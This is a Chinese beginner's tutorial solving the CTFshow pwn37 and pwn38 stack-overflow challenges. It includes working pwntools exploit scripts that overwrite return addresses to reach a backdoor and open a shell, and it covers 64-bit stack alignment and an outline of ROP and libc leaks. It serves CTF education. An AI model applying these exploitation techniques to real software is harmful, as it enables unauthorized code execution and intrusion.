CTFshow PWN入门实战:从零开始掌握栈溢出与Python Pwntools

在CTF竞赛中,PWN题型往往是最能体现技术实力的部分之一。对于初学者来说,栈溢出是最基础也最经典的漏洞类型。本文将以CTFshow平台的pwn37和pwn38两道题目为例,手把手教你如何从零开始完成栈溢出攻击,特别适合刚接触二进制安全的新手学习。

1. 环境准备与基础知识

在开始实战之前,我们需要准备好必要的工具和环境。对于PWN题目,最基本的工具链包括:

  • Linux环境 :推荐使用Ubuntu 18.04/20.04 LTS
  • Python 3 :用于编写exp脚本
  • Pwntools :Python的漏洞利用开发库
  • GDB :GNU调试器,用于动态调试
  • IDA Pro/Ghidra :反汇编工具,用于静态分析

安装Pwntools非常简单,只需执行以下命令:

pip install pwntools

栈溢出的基本原理是:当程序向栈上的缓冲区写入数据时,没有正确检查输入长度,导致数据覆盖了栈上的其他重要信息,如返回地址。通过精心构造输入,我们可以控制程序的执行流程。

2. pwn37解题详解:32位栈溢出实战

2.1 初步分析

首先,我们需要检查目标程序的基本信息:

checksec pwn37

输出可能类似于:

[*] '/path/to/pwn37'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这表明这是一个32位程序,没有栈保护(No canary),NX保护开启(栈不可执行),没有地址随机化(No PIE)。

2.2 静态分析

使用IDA Pro打开pwn37,分析main函数和关键函数。在本题中,我们发现存在一个名为 ctfshow 的函数,其中存在明显的栈溢出漏洞:

int ctfshow() {
    char buf[10];  // 缓冲区大小不足
    gets(buf);     // 不安全的输入函数
    return 0;
}

通过分析栈布局,可以确定从buf到返回地址的偏移量。在32位程序中,通常需要考虑:

  1. buf到ebp的距离
  2. ebp本身占4字节
  3. 然后是返回地址

在本题中,buf到ebp的距离是0x12(18字节),加上4字节的ebp,总共需要22字节才能覆盖到返回地址。

2.3 寻找后门函数

幸运的是,这个程序中存在一个后门函数 backdoor() ,它直接调用了 system("/bin/sh") 。我们可以通过IDA的字符串搜索功能(Shift+F12)找到 /bin/sh 字符串,然后追踪其引用找到后门函数地址:0x8048521。

2.4 编写exp

下面是完整的exp代码:

from pwn import *

context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28146)

payload = b'a'*(0x12 + 4)  # 填充buf和ebp
payload += p32(0x8048521)  # 覆盖返回地址为backdoor函数地址

p.sendline(payload)
p.interactive()

这段代码做了以下几件事:

  1. 建立与远程服务的连接
  2. 构造payload:先用垃圾数据填充缓冲区,然后用后门函数地址覆盖返回地址
  3. 发送payload并获取交互式shell

2.5 常见问题排查

新手在尝试时可能会遇到以下问题:

  • 连接失败 :检查网络连接和题目端口是否正确
  • exp不工作 :确认偏移量计算是否正确,地址是否准确
  • 权限问题 :确保exp文件有执行权限(chmod +x exp.py)

3. pwn38解题详解:64位栈溢出差异

3.1 64位与32位的区别

64位程序的栈溢出与32位有几个关键区别:

  1. 寄存器大小变为8字节(rbp占8字节)
  2. 函数调用约定不同:前六个参数通过寄存器传递
  3. 可能需要处理堆栈对齐问题

3.2 题目分析

检查pwn38的保护机制:

checksec pwn38

输出可能显示这是一个64位程序(Arch: amd64-64-little)。通过IDA分析,我们发现:

  • buf到rbp的距离是0xA(10字节)
  • 同样存在后门函数backdoor(),地址是0x400657
  • 需要覆盖8字节的rbp,然后才是返回地址

3.3 堆栈平衡问题

64位程序中,我们需要特别注意堆栈平衡。当调用函数时,栈指针(rsp)需要16字节对齐。因此,我们需要在payload中添加一个额外的返回地址来保持对齐。

有两种常见解决方案:

  1. 使用后门函数中的一个ret指令地址(如0x40065B)
  2. 使用后门函数末尾的retn地址(0x40066D)

3.4 编写exp

第一种方案(使用ret gadget):

from pwn import *

context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28189)

payload = b'a'*(0xA + 8)       # 填充buf和rbp
payload += p64(0x40065B)       # ret gadget,用于堆栈对齐
payload += p64(0x400657)       # backdoor函数地址

p.sendline(payload)
p.interactive()

第二种方案(使用函数末尾的retn):

from pwn import *

context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28189)

payload = b'a'*(0xA + 8)       # 填充buf和rbp
payload += p64(0x40066D)       # 函数末尾的retn地址
payload += p64(0x400657)       # backdoor函数地址

p.sendline(payload)
p.interactive()

两种方案都能成功获取shell,体现了64位栈溢出的灵活性。

4. 进阶技巧与扩展学习

掌握了基础栈溢出后,可以进一步学习以下内容:

4.1 ROP(Return-Oriented Programming)

当没有现成的后门函数时,可以通过ROP链构造系统调用。基本步骤:

  1. 寻找gadget(pop rdi; ret等)
  2. 设置参数(如将"/bin/sh"地址放入rdi)
  3. 调用system函数

4.2 泄露libc地址

当ASLR开启时,可以通过内存泄露获取libc基地址,然后计算system等函数的实际地址。

4.3 工具推荐

  • ROPgadget :自动搜索gadget
  • one_gadget :查找直接获取shell的gadget
  • LibcSearcher :根据泄露的地址查找libc版本

4.4 练习建议

建议从易到难尝试以下题目:

  1. CTFshow pwn36-pwn40系列
  2. PicoCTF的简单pwn题
  3. XCTF高校战队的入门题

5. 总结与实战心得

通过pwn37和pwn38两道题目,我们系统学习了:

  • 32位和64位栈溢出的基本区别
  • 如何计算偏移量
  • 如何定位和利用后门函数
  • 64位程序中的堆栈对齐问题
  • 使用pwntools编写exp的基本方法

在实际操作中,我发现以下几点特别重要:

  1. 精确计算偏移 :一个字节的偏差都可能导致失败
  2. 注意字节序 :p32/p64的使用要正确
  3. 多尝试不同方案 :如pwn38的两种解法
  4. 善用调试工具 :GDB的cyclic pattern可以帮助定位崩溃点

最后,建议初学者多动手实践,从简单题目开始,逐步构建自己的漏洞利用思维。

更多推荐